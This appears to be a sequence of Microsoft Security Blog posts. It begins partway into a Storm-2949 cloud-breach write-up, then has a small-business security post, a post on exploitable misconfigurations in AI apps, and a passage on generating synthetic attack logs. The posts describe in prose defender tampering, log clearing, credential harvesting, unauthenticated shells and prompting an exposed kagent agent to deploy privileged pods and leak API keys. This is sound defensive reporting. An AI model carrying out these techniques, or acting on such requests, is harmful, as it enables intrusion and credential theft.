Storm-2949 further abused the Run Command by running a PowerShell script intended to deploy persistent remote access while reducing host-based security visibility on multiple VMs.

The script attempted to weaken Microsoft Defender Antivirus by disabling several protections, including real-time protection and behavior monitoring, and by interfering with its associated service. These changes lowered the likelihood that subsequent activity would be blocked or generate actionable alerts on the device.

The script then installed the ScreenConnect remote monitoring and management (RMM) tool obtained from threat actor-controlled infrastructure. The installation process included several steps intended to masquerade the tool’s presence, such as making the network request appear consistent with trusted software updates and placing files in locations intended to resemble legitimate system content.

To further obscure the tool’s presence, the script attempted to rename or configure the installed service to resemble legitimate Windows components, providing a simple form of local masquerading.

Finally, the script attempted cleanup actions to remove local forensic artifacts that could be attributed to the threat actor. These included clearing Windows event logs, removing execution artifacts, and deleting command history and temporary files. Such steps are commonly observed in post-compromise activity and are generally intended to complicate investigation rather than provide durable evasion.

Post-compromise activity using ScreenConnect

The threat actor used the deployed ScreenConnect to launch commands across multiple compromised devices, performing basic discovery. This included collecting host level details (for example, operating system and configuration information) and enumerating domain context such as user accounts and group memberships.

Across a subset of those hosts, the threat actor focused on credential harvesting techniques. They discovered and exfiltrated .pfx certificate files – artifacts that might contain private keys and could be valuable for follow-on access if imported or reused elsewhere. In parallel, they searched for remote file shares for likely credential exposure by scanning files for password related strings. Not every collection effort occurred on every host; rather, it was distributed across systems based on what data and access each host provided.

These actions show ScreenConnect being used as a practical execution channel to run discovery, collect credentials, and attempt to operationalize access across different devices.

While the threat actor ultimately established execution on several endpoints, these systems didn’t appear to yield high value data aligned with their objectives. The endpoint activity primarily served as a secondary capability for discovery and credential harvesting, rather than a core exfiltration channel.

Throughout this incident, Microsoft Defender generated multiple alerts that helped analysts piece together activity across endpoints and cloud. Defender correlated these signals into unified incidents, surfacing high-fidelity alerts and a coherent view of threat actor activity. This kind of cross-domain correlation – collecting and normalizing telemetry and linking related alerts – illustrates the value of an integrated detection and response approach for improving signal-to-noise clarity and end-to-end visibility.

Mitigation and protection guidance

The visibility provided by correlated alerts across identities, cloud, and endpoints can help organizations investigate and understand attacks end-to-end. Building on this visibility, organizations can reduce risk and limit the impact of similar attacks by deploying appropriately scoped detection and response capabilities (including Microsoft Defender where applicable) and by applying targeted hardening practices.

Ensure adequate security coverage across attack surfaces

To effectively detect and respond to attacks that span identity, cloud, and endpoint environments, organizations should ensure they have monitoring, detection, and response capabilities deployed and properly configured across those surfaces. The following examples describe how Microsoft Defender capabilities can be used to help with this; equivalent controls might be available in other security solutions.

Use Microsoft Defender for Endpoint for:

• Tamper protection enabled to prevent threat actors from stopping security services such as Defender for Endpoint, which can help prevent hybrid cloud environment attacks.
• Endpoint detection and response (EDR) in block mode so that Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus doesn’t detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts detected post-breach.
• Investigation and remediation in full automated mode to allow Defender for Endpoint to take immediate action on alerts to help remediate alerts, significantly reducing alert volume.

Use Microsoft Defender for Cloud to protect your cloud resources and assets from malicious activity, both in posture management (Microsoft Defender Cloud Security Posture Management), and threat detection capabilities. Enable workload protection capabilities across cloud resources, including:

• Microsoft Defender for Resource Manager
• Microsoft Defender for App Service
• Microsoft Defender for Key Vault
• Microsoft Defender for Storage
• Microsoft Defender for Databases
• Microsoft Defender for Servers

In addition, leverage the Microsoft Defender XDR to hunt for threats across cloud environments and resource with advanced hunting. Security teams can proactively investigate threat actor activity by querying telemetry across multiple domains using tables such as CloudAuditEvents, CloudStorageAggregatedEvents, and others, enabling deep visibility into control-plane and data-plane operations, authentication events, and cross-service attack patterns.

Use Microsoft Defender for Cloud Apps and enable connectors to monitor SaaS activity.

Security hardening and best practices

In addition to deploying the appropriate Defender capabilities, organizations should apply the following security controls and practices to mitigate similar attack paths:

Identity protection

• Secure accounts with credential hygiene. Practice the principle of least privilege and audit privileged account activity in your Microsoft Entra ID and Azure environments to slow or stop threat actors.
• Enable Conditional Access policies. Conditional Access policies are evaluated and enforced every time the user attempts to sign in. Organizations can protect themselves from attacks that leverage stolen credentials by enabling policies such as device compliance or trusted IP address requirements.
• Ensure MFA is required for all users. Adding more authentication methods, such as the Microsoft Authenticator app or a phone number, increases the level of protection if one factor is compromised.
• Ensure phishing-resistant MFA strength is required for Administrators and privileged user accounts.
• Ensure all existing privileged users have an already registered MFA method to protect against malicious MFA registrations
• Implement Conditional Access authentication strength to require phishing-resistant authentication for employees and external users for critical apps.
• Refer to Azure Identity Management and access control security best practices for further steps and recommendations to manage, design, and secure cloud environment.
• Turn on Microsoft Entra ID protection to monitor identity-based risks and create risk-based Conditional Access policies to remediate risky sign-ins.

Cloud resource protection

• Use the Azure Monitor activity log to investigate and monitor Azure management events.
• Configure and harden resources firewall rules and access controls to allow access only from trusted IP ranges and virtual networks to prevent unauthorized access.
• Use Azure policies to continuously enforce the hardened configurations.
• Practice and apply Azure Storage security best practices:
• Use Azure policies for Azure Storage to prevent network and security misconfigurations and maximize the protection of business data stored in your storage accounts.
• Implement Azure Blob Storage security recommendations for enhanced data protection.
• Use the options available for data protection in Azure Storage.
• Enable immutable storage for Azure Blob Storage to protect from accidental or malicious modification or deletion of blobs or storage accounts.
• Enable Azure Monitor for Azure Blob Storage to collect, aggregate, and log data to enable recreation of activity trails for investigation purposes when a security incident occurs or network is compromised.
• Use private endpoints for Azure Storage account access to disable public network access for increased security.
• Avoid using anonymous read access for blob data.
• Enable Azure blob backup to protect from accidental or malicious deletions of blobs or storage accounts.
• Apply the principle of least privilege when authorizing access to blob data in Azure Storage using Microsoft Entra and RBAC and configure fine-grained Azure Blob Storage access for sensitive data access through Azure attribute-based access control (ABAC).
• Practice and apply Azure Key Vault security best practices:
• Enable purge protection in Azure Key Vaults to prevent immediate, irreversible deletion of vaults and secrets. Use the default retention interval of 90 days.
• Enable logs in Azure Key Vault and retain them for up to a year to enable recreation of activity trails for investigation purposes when a security incident occurs or network is compromised.
• Restrict public network access to Azure Key Vault by enabling private endpoints and disabling public access to reduce exposure to unauthorized access attempts.
• Regularly audit Azure RBAC role assignments and Key Vault access policies, depending on the Key Vault permission model, to ensure least privilege and detect over-permissioned identities. Microsoft explicitly recommends Azure RBAC over Key Vault access policies. 
• Configure SQL server firewall rules to restrict access to known IP addresses and monitor for unauthorized changes to firewall configurations.
• Enforce authentication through Microsoft Entra ID for SQL instances to reduce reliance on static credentials and improve access control
• Practice and apply Azure App Service security best practices:
• Disable legacy authentication methods and enforce managed identity usage for Azure App Services to prevent credential theft through publishing profiles.
• Monitor and restrict access to Azure App Service publishing credentials by limiting RBAC permissions and auditing usage of the publish profile API.
• Enable diagnostic logging in App Service logs to detect suspicious deployment or configuration changes.
• Enable Microsoft Azure Backup for virtual machines to protect the data on your Microsoft Azure virtual machines, and to create recovery points that are stored in geo-redundant recovery vaults.
• Audit and restrict the use of Azure VM features and extensions such as Run Command and VMAccess by limiting RBAC permissions and monitoring for suspicious invocation patterns.
• Use Azure Policy to restrict or audit the deployment of Azure VM extensions across your subscriptions.

General hygiene recommendations

• Investigate Microsoft Security Exposure Management attack paths. Security teams can use attack path analysis to trace cross-domain threats that pivot to cloud workloads, escalate privileges, and expand their reach.
• Use Azure Policy to enforce organizational standards and prevent the deployment of risky configurations, such as public access to sensitive resources.
• Implement consistent cloud security recommendations hygiene.

Indicators of compromise (IOCs)

IOCs reflect observations at the time of analysis and may not be exhaustive or persistent.

IndicatorTypeDescription176.123.4[.]44IP addressAttacker egressed from this address91.208.197[.]87IP addressAttacker egressed from this address185.241.208[.]243IP addressScreenConnect instance used by Attacker Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Note that the following detections only covers the threat activities we’ve observed at the time of analysis.

Tactic Observed activity Microsoft Defender coverage Initial access– Sign-in activity from attacker infrastructure to compromised identities

– Sign-in and authentication activity to Azure resources  Microsoft Defender XDR
– Authentication with compromised credentials
– Compromised user account in a recognized attack pattern
– Malicious sign in from a risky IP address
– Malicious sign in from an IP address associated with recognized attacker infrastructure
– Malicious sign in from recognized attacker infrastructure
– Malicious sign-in from an unusual user agent
– Malicious sign-in from known threat actor IP address
– Successful authentication from a malicious IP
– Successful authentication from a suspicious IP
– Successful authentication using compromised credentials
– User compromised through session cookie hijack
– User signed in from a known malicious IP Address
– Impossible Travel

Microsoft Defender for Identity
– Possibly compromised user account signed in
– Possibly compromised service principal account signed in

Microsoft Defender for Cloud
Defender for Resource Manager
Suspicious invocation of a high-risk ‘Initial Access’ operation detected (Preview)

Defender for Databases
Login from an unusual location

Defender for Storage
– Access from an unusual location to a storage account Access from an unusual location to a storage blob container
– Access from an unusual location to a sensitive blob container
– Access from a known suspicious IP address to a sensitive blob container
– Access from a suspicious IP address
– Unusual unauthenticated public access to a sensitive blob containerExecution– Various types of execution-related suspicious activity by an attacker were observedMicrosoft Defender XDR
– Possibly compromised user ran a malicious script using an Azure VM extension
– Potential hybrid ransomware or hands-on-keyboard attack originating from Azure VM extensions
– Hybrid ransomware or hands-on-keyboard attack originating from Azure VM extensions
– Azure VM extension activity followed by ransomware or hands-on-keyboard attack

Microsoft Defender for Cloud
Defender for Resource Manager
– Suspicious invocation of a high-risk ‘Execution’ operation detected (Preview)
– Azure Resource Manager operation from suspicious IP address
– Suspicious Run Command invocation detected (Preview)

Defender for Servers P2
– Run Command with a suspicious script was detected on your virtual machine
– Suspicious Run Command usage was detected on your virtual machine (Preview)
– Suspicious unauthorized Run Command usage was detected on your virtual machine (Preview)

Microsoft Defender for Endpoint
– Compromised account conducting hands-on-keyboard attack
– Potential human-operated malicious activity
– Suspicious process execution
– Suspicious command execution via ScreenConnect
– Suspicious activity through Azure VM extension processPersistence– Attacker device registered as MFA method

– ScreenConnect installed on Azure VMsMicrosoft Defender for Identity
– Suspicious addition of default third‑party MFA method to user account
– Suspicious Entra device join or registration

Microsoft Defender for Cloud Apps
– Suspicious addition of device with strong MFA
– Suspicious addition of strong authentication device
– Malicious device with strong MFA was registered

Microsoft Defender for Endpoint
Uncommon remote access softwareDefense evasion– Attempts to tamper with Microsoft Defender Antivirus

– Manipulation of Azure Storage account, Key Vault, and SQL database configurationsMicrosoft Defender for Endpoint
– Attempt to turn off Microsoft Defender Antivirus protection
– Attempt to clear event log
– Event log was cleared

Microsoft Defender for Cloud
Defender for Resource Manager
Suspicious invocation of a high-risk ‘Defense Evasion’ operation detected (Preview)

Defender for Key Vault
Suspicious policy change and secret query in a key vaultCredential access– Secret extraction from Azure Key Vault

– Attempted theft of workload identity tokens using Azure VM Run Command

– Credential harvesting from endpoints through ScreenConnect

– Publishing Azure App Service web app profile for credential access

– Listing Azure storage account access keys for access  Microsoft Defender Antivirus
– Trojan:Win32/SuspAdSyncAccess
– Backdoor:Win32/AdSyncDump
– Behavior:Win32/DumpADConnectCreds
– Trojan:Win32/SuspAdSyncAccess
– Behavior:Win32/SuspAdsyncBin

Microsoft Defender for Endpoint
– Indication of local security authority secrets theft
– Password stealing from files

Microsoft Defender for Cloud
Defender for Resource Manager
Suspicious invocation of a high-risk ‘Credential Access’ operation detected (Preview)

Defender for Servers P2
Run Command with a suspicious script was detected on your virtual machine

Defender for Key Vault
– Suspicious policy change and secret query in a key vault
– High volume of operations in a key vault
– Unusual application accessed a key vault
– Unusual operation pattern in a key vault
– Unusual user accessed a key vault
– Access from a suspicious IP address to a key vaultDiscovery
– Domain and system discovery commands run on virtual machinesMicrosoft Defender for Endpoint
Suspicious sequence of exploration activities

Microsoft Defender for Cloud Apps
Suspicious file accessLateral movement– Traversal between cloud resources and applicationsMicrosoft Defender for Identity
Suspicious sign-in to a web app following MFA phone number tampering activity

Microsoft Defender for Cloud Apps
Compromised user accessed a SaaS application

Microsoft Defender for Cloud
Defender for Resource Manager
Suspicious invocation of a high-risk ‘Data Collection’ operation detected (Preview)  Exfiltration– Data exfiltration from Azure Storage accounts and other resources

– Data exfiltration from file storage servicesMicrosoft Defender XDR
Suspicious behavior: Mass download

Microsoft Defender for Cloud Apps
– Suspicious massive data read
– Suspicious mass download from risky or unusual session
– Suspicious mass download from risky or unusual session
– Suspicious mass download from risky or unusual session
– Possible exfiltration of data archive
– Possible data exfiltration from a suspicious IP address
– Suspicious quantity of downloaded archive files

Microsoft Defender for Cloud
Defender for Resource Manager
Suspicious invocation of a high-risk ‘Data Collection’ operation detected (Preview)

Defender for Storage
– The access level of a potentially sensitive storage blob container was changed to allow unauthenticated public access
– Publicly accessible storage containers successfully discovered
– Publicly accessible storage containers unsuccessfully scanned
– Unusual amount of data extracted from a storage account
– Unusual data access activity
– Unusual amount of data extracted from a sensitive blob container
– Unusual number of blobs extracted from a sensitive blob container
– Potential data exfiltration detected
– Access from a suspicious IP address

This research is provided by Microsoft Defender Security Research with contributions from Adi Segal, Karam Abu Hanna, Alon Marom, and members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

How Microsoft discovers and mitigates evolving attacks against AI guardrails 

Learn more about securing Copilot Studio agents with Microsoft Defender  

Evaluate your AI readiness with our latest Zero Trust for AI workshop.

Learn more about Protect your agents in real-time during runtime (Preview)

Explore how to build and customize agents with Copilot Studio Agent Builder 

Microsoft 365 Copilot AI security documentation 

The post How Storm-2949 turned a compromised identity into a cloud-wide breach appeared first on Microsoft Security Blog.

AI is rapidly reshaping how work gets done in companies and organizations. In celebrating National Small Business Month, we want to acknowledge the unique challenges that growing business leaders face as AI creates both opportunity and risk. They face constant tradeoffs between moving fast, managing risk, and keeping operations stable under pressure. At the same time, cybercriminals are moving faster, their attacks are becoming more targeted, and AI is helping increase efficacy of the threats. In fact, AI-automated phishing is 4.5 times more effective than traditional cyberattacks. It takes only one convincing phishing email, and one stray click to enable a breach.1

The key question is: How can we maximize the benefits of AI while staying protected in a rapidly evolving threat landscape?

Read the datasheet: “AI is here. How will you keep your business secure?” Cybersecurity—from IT issue to business risk

Today’s cybersecurity landscape is defined by speed, scale, and automation—trends that disproportionately affect growing businesses. According to the 2025 Microsoft Digital Defense Report, Microsoft now processes more than 100 trillion security signals every day and blocks 4.5 million new malware files daily, underscoring just how industrialized cybercrime has become. Increasingly, cyberattackers are using AI to automate phishing, generate highly convincing scams, and rapidly adapt malware, making cyberattacks more frequent and harder to detect.

For businesses that often lack dedicated security teams or round-the-clock monitoring, this shift has real business consequences: disrupted operations, financial loss from ransomware or fraud, and lasting damage to customer trust. The report also notes that most modern cyberattacks now target identities, like user accounts and access—a challenge for organizations relying on cloud services and remote work without strong protections in place for accounts and access. As AI continues to amplify both the volume and sophistication of cyberattacks, cybersecurity is no longer just an IT issue for businesses—it’s a core business risk that can directly affect resilience and growth.

Source: Cyber Signals Issue 9.2 Building a foundation of trust

In this new reality, security becomes the foundation of trust—helping growing businesses protect their operations, preserve customer trust, and move forward with confidence. For business owners, cybersecurity isn’t just about stopping cyberattacks; it’s about keeping the business running day to day. When systems go down, orders can’t be processed, employees can’t do their work, and customers are left waiting or wondering whether their data is safe. Even short disruptions can have outsized consequences for growing businesses, from lost revenue and stalled growth to reputational damage that’s hard to repair. By making security a core part of how the business operates—not an afterthought—even the smallest businesses put themselves in a stronger position to withstand disruptions, maintain credibility with customers, and create a stable foundation for long-term growth.

Source: The Devastating Impact of Ransomware Attacks on Small Businesses.3 Cybersecurity for small and medium businesses Simple, built‑in security for your growing business

Effective security must be simple, approachable, and fit the realities of running a business with limited time and resources. Many growing businesses don’t have dedicated security teams or the time and resources to manage complex tools, yet they still need protection that keeps pace with modern threats. Microsoft Security is built with this in mind, offering integrated, easy‑to‑manage protections that help safeguard devices, identities, email, and cloud apps without adding unnecessary complexity. Microsoft 365 Business Premium combines productivity and built-in security in one streamlined solution, with centralized visibility and automation that reduces manual effort. It helps protect your users, devices, and data across your business, so you can stay focused on customers and day-to-day operations. By providing security that works quietly in the background—and scales as the business grows—Microsoft helps businesses of all sizes protect what matters most without slowing them down.

Allowing people to operate devices and applications without conditional access increases risks. Getting that done was a huge success for us.“

—Theo Mouchteros, Head of IT Operations, Acumen

Read the Acumen case study Take the next step

To discover the right security plan for growing business, read our small and medium business plans and pricing options or contact Microsoft Sales for more support.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

1Microsoft Digital Defense Report 2025.

2Cyber Signals Issue 9.

3The Devastating Impact of Ransomware Attacks on Small Businesses.

The post How to better protect your growing business in an AI-powered world appeared first on Microsoft Security Blog.

In this article

1. Background
2. What is an exploitable misconfiguration?
3. Exploitable misconfigurations in popular AI applications
4. Minimizing the risk: Practical deployment guidance
5. How Microsoft Defender for Cloud helps detect exposures in Kubernetes
6. Learn more

AI and agentic application deployments on cloud-native platforms are increasing, and they often prioritize speed over secure configuration. Our observations from aggregated and anonymized Microsoft Defender for Cloud signals showed cases where AI services were publicly exposed with weak or missing authentication, creating exploitable misconfigurations that attackers actively abused. These issues enabled low-effort, high-impact outcomes such as remote code execution, credential theft, and access to sensitive internal tools and data.

Exploitable misconfigurations bypass traditional vulnerability models, allowing threat actors to leverage them without using sophisticated techniques or zero-days. Organizations should therefore surface these misconfigurations early to reduce their attack surface and protect their critical AI workloads. Defender for Cloud can help customers identify and prioritize risks associated with such misconfigurations by detecting exposed Kubernetes services and unsafe deployment patterns.

In this blog, we look at examples of exploitable misconfigurations we’ve observed in some of the popular AI applications and platforms. We also provide practical guidance on how to deploy AI agents securely.

Background

AI and agentic applications are being rolled out at scale, moving rapidly from experimentation to broadly deployed systems. These applications are no longer isolated components; rather, they sit at the center of workflows, automation, and decision-making across organizations.

Based on our observation of the aggregated and anonymized signals coming from Microsoft Defender for Cloud, many of the AI deployments in real-world environments run on cloud-native infrastructure, with Kubernetes emerging as the preferred operating layer for AI workloads. This finding aligns with Cloud Native Computing Foundation’s research, which shows that organizations rely heavily on Kubernetes clusters to run their AI workloads.

As AI applications become connected to more internal systems and data sources, the impact of mistakes increases: a single misconfiguration could not only expose an application endpoint, it could also allow access to sensitive data, infrastructure, or operational capabilities behind it.

In practice, many of the most dangerous risks in AI environments don’t come from novel attack techniques or zero-day vulnerabilities. Instead, they stem from exploitable misconfigurations—user’s configuration choices that make powerful capabilities externally reachable when insufficiently protected, creating clear paths to abuse.

What is an exploitable misconfiguration?

We use the term exploitable misconfiguration to describe a configuration issue where public exposure (for example, an internet-reachable user interface or API) is combined with missing or weak authentication and authorization. This combination creates a practical attack path that could result in serious outcomes such as remote code execution (RCE), sensitive data exposure, or tampering with pipelines and artifacts, often without requiring complex exploitation.

Exploitable misconfigurations create low-effort paths to high-impact compromises, making hardening more than a nice-to-have. Defender for Cloud signals indicate that more than half of cloud-native workload exploitations, including AI applications, stem from misconfigurations. In that context, remediation becomes a race against the clock: organizations need to fix these issues quickly or attackers will leverage them first.

Exploitable misconfigurations in popular AI applications

In the following sections, we discuss examples of exploitable misconfigurations found in popular applications and platforms across the AI and agentic ecosystem.

MCP servers

The Model Context Protocol (MCP) lets AI agents discover and interact with external tools and data sources in a standardized way. MCP servers can be installed locally or accessed remotely, with support for Server-Sent Events (SSE) and streamable HTTP. While this protocol supports authorization mechanisms, including OAuth, it doesn’t enforce them. As a result, misconfigured MCP servers become a critical and easily exploitable issue in AI and agentic environments.

We’ve observed multiple instances of remotely exposed MCP servers being deployed without authentication. In these instances, unauthenticated access allowed direct interaction with sensitive internal tools, including ticketing systems, HR systems, and private code repositories. This issue results from insecure MCP server implementations that execute tool actions in the server’s security context, instead of the context of the user (or agent). Signals from Defender for Cloud shows that 15% of remote MCP servers are severely insecure and allow unauthenticated access to sensitive internal data and operational capabilities.

Mage AI

Mage AI is an open-source platform for building, running, and orchestrating data and AI pipelines. We found that when Mage AI is deployed on Kubernetes using the official Helm chart, the default installation exposed the application through an internet-facing LoadBalancer on port 6789 with no authentication enabled. The exposed web UI included functionality for executing shell commands, allowing arbitrary code execution inside the application using the mounted service account. In the default configuration, this service account was bound to highly privileged roles that effectively granted cluster-admin capabilities. This default setup was observed in the wild and was actively exploited, resulting in unauthenticated, internet-accessible shell access with high privileges.

Figure 1. Dumping a token of a privileged service account attached to a Mage AI workload.

Through responsible disclosure, we reported this issue to Mage AI, and authentication is now enabled by default. We’d like to thank Mage AI for responding to and addressing this issue.

kagent

kagent is an open-source framework under CNCF’s CNAI landscape that’s designed to run AI agents on Kubernetes. When deployed using the official Helm chart, kagent comes with various AI agents configured as Kubernetes services, such as the k8s-agent, which assists with cluster operations. A user could then talk to the AI agent and ask it to perform operations (for example, deploy a privileged pod) on the Kubernetes cluster.

While kagent isn’t publicly exposed by default, it does lack authentication by default, which means that if this application is exposed publicly, anonymous users would be able to ask the AI agents to deploy malicious and privileged workloads. These workloads could then facilitate cluster-to-cloud lateral movements. Using this unauthenticated access, the attackers could also exfiltrate credentials from other workloads running on the cluster and configure malicious models and AI agents, among others, in the kagent application.

Figure 2 shows how threat actors could exfiltrate API keys for AI services supported by kagent, such as Azure OpenAI API keys, simply by interacting with the AI agent:

Figure 2. Exfiltrating Azure OpenAI API keys stored in kagent model configurations, which are stored as Base64-encoded Kubernetes secrets. Microsoft AutoGen Studio

AutoGen Studio is a low‑code agentic framework for building multi‑agent workflows. It lets users configure agent skills, assign models, and design the workflows that coordinate tasks across agents. Microsoft AutoGen Studio ships without authentication enabled by default:

Figure 3. Screenshot of AutoGen Studio documentation.

AutoGen Studio isn’t publicly exposed by default. However, an attacker could tamper with components, deploy malicious agent configurations, or extract API keys from linked AI services on exposed ones, as shown in Figure 4:

Figure 4. Publicly exposed AutoGen Studio exposing API keys of AI services in plaintext. Minimizing the risk: Practical deployment guidance

AI applications are at risk of misconfiguration as organizations race to adopt and integrate AI capabilities. Teams deploy agents, connect models to internal tools, and operationalize data pipelines, often stitching together new components on top of existing infrastructure. In such scenarios, speed might get prioritized over secure defaults, least-privilege access, and proper isolation. At the same time, code and configuration are increasingly produced through vibe coding, where AI-assisted code might get generated using weak security practices. These factors could result in AI applications getting deployed with insecure configurations, which could then lead to severe consequences.

Apart from the applications discussed previously, we’ve observed instances misconfigurations in the following AI applications in the wild:

• Agentgateway
• MLRun
• Numaflow
• OpenLIT
• Microsoft Agent Framework Dev UI
• Nvidia Nemo Agent Toolkit
• Marimo
• Comfy UI
• Ray Dashboard
• MCP Hub Dashboard

With AI systems being adopted and integrated at a rapid pace, the question is no longer whether to use AI, but how to deploy it safely. Organizations should ensure that their security controls are keeping pace, and that they start treating AI services like any other high-impact workload, not as experimental tooling:

• Public access is a security choice: Some AI services need to be internet-facing, but public access should be an explicit decision and protected with authentication, authorization, and appropriate network controls.
• Enforce authentication and authorization everywhere: Apply authentication controls consistently, including internal AI services and tool endpoints.
• Context and least privilege: Workloads should operate in the context of an authenticated user or agent, not under broad service-level identities. Permissions should be scoped to the minimum required.
• Continuously audit AI workloads: Track what AI services exist, what they can access, and how they are exposed as systems evolve.

How Microsoft Defender for Cloud helps detect exposures in Kubernetes

Exploitable misconfigurations are a reminder that many breaches in cloud-native environments don’t start with a zero-day, they start with something reachable that shouldn’t be, paired with improper access controls.

If such misconfigured AI applications are exposed publicly, often through Kubernetes Services, Microsoft Defender for Containers customers can benefit from detection capabilities through the alert Exposed Kubernetes service detected. This alert identifies the creation or update of Kubernetes load-balancer services that expose these applications, helping teams prioritize the issues that represent the highest impact and lowest-effort paths for attackers.

Figure 5. Exposed services alert for publicly exposed kagent application.

This research is provided by Microsoft Defender Security Research with contributions from Yossi Weizman, Tushar Mudi, and members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)
• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 

The post When configuration becomes a vulnerability: Exploitable misconfigurations in AI apps appeared first on Microsoft Security Blog.

In this article

1. Core Idea: From TTPs to Logs
2. Approaches for Synthetic Attack Log Generation
3. Evaluation Datasets
4. References
5. Learn more

Logs and telemetry are the foundation of modern cybersecurity. They enable threat detection, incident response, forensic investigation, and compliance across endpoints, networks, and cloud environments. Yet, despite their importance, high‑quality security attack logs are notoriously difficult to collect, especially at scale. 

Real‑world security telemetry is often composed of repeated benign activity occurring across environments and with very rare malicious activity. Gathering, labeling, and maintaining datasets with real attack logs is costly and operationally challenging. It requires not only labeling malicious activities, but also fully reconstructing attack scenarios. These challenges significantly slow detection engineering and limit the quality of both the rule-based detection authoring and anomaly-detection approaches. 

In this post, we explore a different path: using AI to generate realistic, high‑fidelity synthetic security attack logs. By translating attacker behaviors, expressed as tactics, techniques, and procedures (TTPs)—directly into structured telemetry, we aim to accelerate detection development while preserving realism and security. 

Why is this work important for Microsoft Defender customers? 

For Microsoft Defender customers, this work is crucial because it directly addresses the challenge of obtaining high-quality, realistic security attack logs needed for effective threat detection and response. By leveraging AI-driven synthetic log generation, organizations can accelerate the development of detection rules and AI-based automation approaches, while ensuring privacy and reducing operational overhead. Synthetic logs enable customers to simulate a broader range of attack scenarios—including rare and emerging threats—without exposing sensitive data or relying on costly lab-based simulations. Ultimately, this approach enhances the agility and effectiveness of Microsoft Defender detection and response capabilities, helping customers stay ahead of evolving cyber threats. 

Why Synthetic Security Logs in addition to Lab Simulations? 

Synthetic data has been widely adopted in various fields as a privacy-conscious substitute for real data, and it offers even greater advantages in cybersecurity. It enables the creation of safe, shareable datasets that avoid exposure of sensitive customer information, allows simulation of rare or emerging attacks that are challenging to observe in real environments, accelerates the process of detection engineering and testing, and supports reproducible experiments for benchmarking and evaluation. 

While synthetic logs are not a replacement for all lab-based validation, they can complement lab simulations by speeding up early-stage detection design, testing, and coverage expansion. Traditionally, generating realistic attack telemetry requires executing real attacks in controlled lab environments. While accurate, this approach is slow, labor‑intensive, and difficult to scale. It also limits agility for the security teams responsible for defending our systems and delays the rollout of new threat detections into production. This blog examines whether AI-assisted synthetic log generation can provide similar fidelity, without the operational overhead of lab‑based attack execution. 

Core Idea: From TTPs to Logs

Attackers can abuse TTP through various actions that exploit different processes. At a high level, the proposed workflow consumes “TTP + Action” as input and produces structured security logs as output. 

Input: High‑level attacker TTPs from the MITRE ATT&CK framework [1], a widely used knowledge base of adversary tactics and techniques, and concrete attacker actions. See the example below. 

Tactic Technique Action Stealth T1202 – Indirect Command Execution  The attackers executed forfiles and obfuscated their actions using variable expansion of %PROGRAMFILES and hex characters (for example, 0x5d). They obfuscated the use of echo, open, read, find, and exec to extract file contents, then passed the output to a Python interpreter for execution. 

Output: Realistic log entries with correctly populated fields such as “Command Line”, “Process Name”, “Parent Process Name”, and other relevant telemetry fields. 

Goal: The goal is not to reproduce logs verbatim, but to generate realistic, semantically correct logs that would accurately trigger detections, mirroring real attacker behavior. 

Approaches for Synthetic Attack Log Generation

We explore three increasingly sophisticated techniques for generating logs. 

1. Prompt‑Engineered Generation: Our baseline approach uses a series of carefully designed expert‑crafted prompts. The workflow comprises a structured, multi‑stage dialogue: 
   • Prompting: The model is given a detailed attack scenario and context. 
   • Iterative Generation: Logs are generated across multiple turns to maintain coherence. 
   • Evaluation: An independent large language model (LLM)-as-a-Judge assesses realism and consistency. 

As depicted in the following image, the prompts explicitly instruct the model to reason like a cybersecurity researcher, leverage MITRE ATT&CK knowledge, and produce coherent attack narratives. 

Diagram that shows a three-stage AI agent pipeline: prompting for attack scenarios,
iterative generation of logs, and LLM-as-a-Judge evaluation.

2. Agentic Workflow-based Generation: While the first approach works well in simpler cases, it struggles with complex, multi‑stage scenarios. To address these limitations, we introduced an agentic workflow using three specialized agents focused on different tasks: 
   • Generator Agent: Produces an initial set of logs based on the input. 
   • Evaluator Agent: Reviews logs and provides structured feedback. 
   • Improver Agent: Suggests targeted refinements based on feedback. 

As depicted in the image below, these agents collaborate in an iterative loop (generate, evaluate, improve), allowing the system to correct errors, fill gaps, and refine details over multiple turns. This collaborative process significantly improves log completeness and fidelity, especially for complex attack chains. 

Diagram that shows a cyclical agentic workflow where generator, evaluator, and improver
agents collaborate to produce synthetic telemetry logs.

3. Multi-Turn Reinforcement Learning with Verifiable Rewards: While the synthetic logs generated by the agentic workflow are often semantically correct, preserving key properties like parent‑child process relationships and event ordering, they still differ noticeably from real event logs, especially in process paths, command‑line arguments, service names and so on. This limits the usage of these logs to test detection efficacy; effective detection engineering requires reliably distinguishing benign activity from malicious behavior.  
   To address this challenge, we conduct experiments using Reinforcement Learning with Verifiable Rewards (RLVR). Instead of rigid rewards used by the evaluator agent in the previous agentic workflow approach, we use partial rewards to learn the policies as follows: 
   • We use an LLM‑as‑a‑Judge as follows to compare the synthesized data against ground‑truth logs.  
